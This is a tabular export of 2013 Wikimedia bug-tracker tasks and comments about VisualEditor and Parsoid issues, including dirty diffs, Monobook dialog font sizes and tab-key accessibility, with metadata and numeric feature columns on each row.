+242589,Parsoid: selser drops last three apostrophes in '''''foo''''',We've seen this come up a number of times in our testing; I haven't investigated this one yet.,,,1372215813,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+242584,Parsoid: selser drops last three apostrophes in '''''foo''''',"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?",,,1372037116,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5cf6g72rzkft37gbritr,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+52066,VisualEditor: Preserve ordering inside data-mw elements,"Currently we don't and cause major headaches for Parsoid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372028700,1372039643.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-spoxch2h3fjmkmu6pdme,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+242519,VisualEditor: Preserve ordering inside data-mw elements,"**ignatzmice.wiki** wrote:
+
+Apparently bug 50080 is a duplicate of this bug. However, that bug is still showing up: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&oldid=564509171#VE_totally_screwing_up",,,1373983343,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+242516,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50108 has been marked as a duplicate of this bug. ***,,,1372101714,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242510,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50108 has been marked as a duplicate of this bug. ***,,,1372091701,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242503,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50106 has been marked as a duplicate of this bug. ***,,,1372091672,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242497,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50101 has been marked as a duplicate of this bug. ***,,,1372091521,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242491,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50099 has been marked as a duplicate of this bug. ***,,,1372091385,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242483,VisualEditor: Preserve ordering inside data-mw elements,*** Bug 50080 has been marked as a duplicate of this bug. ***,,,1372039230,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242475,VisualEditor: Preserve ordering inside data-mw elements,Related URL: https://gerrit.wikimedia.org/r/70109 (Gerrit Change If0a5bcc67d3a172de0e8839cfda11efacfbf36ff),,,1372032121,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-spoxch2h3fjmkmu6pdme,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52060,VisualEditor: Metadata is not annotated,"Which causes this dirty diff:
+
+'''Foo<!--bar-->baz'''
+
+=>
+
+'''Foo'''<!--bar-->'''baz'''
+
+Of course annotating un-deletable metadata means if 'Foobaz' is erased you will be left with:
+
+'''<!--bar-->'''
+
+but that's less of a problem, and could be fixed by Parsoid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372009920,1372038604.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rghqg5jcqisid4tfv5hr,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+242141,VisualEditor: Metadata is not annotated,Related URL: https://gerrit.wikimedia.org/r/70061 (Gerrit Change I40da3d5e8e987571195142304b1a853e177e36ff),,,1372010156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rghqg5jcqisid4tfv5hr,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52058,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Screenshot
+
+See the screenshot; it appears in Monobook on enwiki and mediawiki.org as of the latest release. Kiiinda a problem.
+
+(the other interstitials there - review your changes/save page - are also shrunk).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11418}",High,80.0,1372005660,1374793868.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1
+242069,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write",Now fixed in master and will be deployed in a few minutes' time.,,,1374793868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+242064,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Change 75814 merged by jenkins-bot:
+Fix font size for overlays in Monobook
+
+https://gerrit.wikimedia.org/r/75814",,,1374791926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242058,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","I'd add that even on en.wp Monobook is used by many (at least if I read correctly  http://en.wikipedia.org/wiki/Wikipedia:Database_reports/User_preferences#Skin ).
+I had quite a few complaints about this now at it.wp, so it would really great if we managed to fix this ASAP. Thanks!
+
+(confl. by Gerrit: fixed now?)",,,1374708007,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,0
+242051,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Change 75814 had a related patch set uploaded by Esanders:
+Fix font size for overlays in Monobook
+
+https://gerrit.wikimedia.org/r/75814",,,1374707619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242044,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","**mrkmg90** wrote:
+
+Review changes popup
+
+The review changes popup also has the same sizing issues...
+
+My eyes strain so hard trying to read the lines!
+
+**Attached**: {F11419}",,,1374501653,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+242037,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","(In reply to comment #6)
+> Can I suggest that the title of this bug is changed to something more
+> meaningful?  If the words ""edit summary"" were included there would probably
+> be fewer duplicatates reported.
+
+Done.",,,1373807253,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,True,,,1,,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1
+242030,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Can I suggest that the title of this bug is changed to something more meaningful?  If the words ""edit summary"" were included there would probably be fewer duplicatates reported.",,,1373807116,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,1,,0,1,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0
+242023,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write",*** Bug 51315 has been marked as a duplicate of this bug. ***,,,1373805517,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242019,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write",*** Bug 51034 has been marked as a duplicate of this bug. ***,,,1373442406,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242016,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","You could add a CSS rule that uses the same technique for the dialog.
+
+Setting a simple relative font size (0.7em or something like that) makes it impossible to set the browser's default size to something sensible, as 0.7 * something sensible is usually too small. The non-linear nature of keyword scaling gives a good compromise between honoring a browser's font size and providing sane defaults despite 16px browser defaults.
+
+So if there are other JS-free solutions to this issue these days then that would be great.",,,1372103906,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,0,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+242014,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","This is due to Monobook's ""interesting"" way of resetting the font-size to a consistent value cross-browser. It sets the <body> font-size to x-small, and then turn it back up to regular size with ""font-size: 127%;"" from their globalWrapper div.
+
+Due to this odd construct, any new elements attached to the <body> have an exceptionally small font size.
+
+Short of hardcoding a larger font-size for the overlay wrappers in Monobook or appending to #globalWrapper in monobook (which might cause others bugs due to not being in the <body> directly) - short of that this is a tough one to get right. Ideally core would fix this in Monobook by using the same font-size technique used by Vector.
+
+In Monobook's author's defence (Gabriel), the browsers we had to support when Monobook was being developed made it quite difficult to do right so this was probably the best way to do it at the time – but we no longer need to worry about IE5.5, IE4-for-Mac, Opera<7 etc.",,,1372027547,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+242012,"VisualEditor: Save dialog is far too small in Monobook, making edit summaries hard to write","Timo, what have you wrought?! ;-)",,,1372005848,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6x7c2kbmm5le5grlxkj,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+52047,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"You can't tab from the edit summary box to the ""Save page"" button, or the reference inspector to the ""Apply changes"" button, etc.
+
+This is important for accessibility. Currently, there is no way to confirm the action using only the keyboard.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50897",High,80.0,1371984240,1374880834.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+241562,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Hmm, yeah, this has regressed for Firefox. Yay for browser bugs. Will follow-up on bug 51918.",,,1400619419,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,46,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241557,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Enwiki, Firefox nightly on Mac. But does seem to work on office with Chrome.",,,1400616530,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241552,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"I can on enwiki, MediaWiki.org and Beta Labs – where are you having this issue?",,,1400616057,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,46,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+241546,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"This appears to be broken again- can't tab to ""save page"" in the current release. Prefer to reopen this bug or file a new one?",,,1400615746,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,46,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0
+241540,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,This bug is fixed. Will use bug 51918 to track changes to tab order instead.,,,1374880834,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+241533,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,*** Bug 52080 has been marked as a duplicate of this bug. ***,,,1374818679,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241524,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"The current tab order is pants, and is not what was requested in comment 1 or comment 5.
+
+From the edit summary box, the tab order is now:
+1. the link ""minor edit"" beside the 'minor edit' checkbox.
+2. ""Save Page"" button
+3. ""Review your changes"" button
+Then three tabs for the links in the footer of this windows.
+
+Tabbing to the _link_ ""minor edit"" is a bug in the current implementation.
+
+Unless there is a good reason to do otherwise, the tab order should be the same as the source editor (muscle memory).  See also bug 51918 for a tab order request.",,,1374818669,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+241515,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,Fixed and will get deployed in a few minutes.,,,1374677090,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241506,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Change 75594 merged by jenkins-bot:
+Make ButtonWidgets more accessible
+
+https://gerrit.wikimedia.org/r/75594",,,1374676838,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+241498,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Patch above should fix original bug. Issue of tabbing from surface to 'Save page' is also partly fixed, but because of DOM order you have to shift+tab. If we want to switch these round, please open a new bug.",,,1374673879,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+241489,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Change 75594 had a related patch set uploaded by Esanders:
+Makes ButtonWidgets more accessible
+
+https://gerrit.wikimedia.org/r/75594",,,1374673699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+241482,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"There seem to be two distinct requests:
+
+* getting from the editing ""surface area"" to the edit summary input (with a tab key?)
+
+* getting from the edit summary input to the save page or review changes buttons (with a tab key)",,,1374631796,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0
+241476,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"From bug 50897 comment 2:
+
+In the old editor, I would simply use TAB to reach the edit summary, type my
+edit summary and press ENTER to activate the ""Save page"" button and save. If I
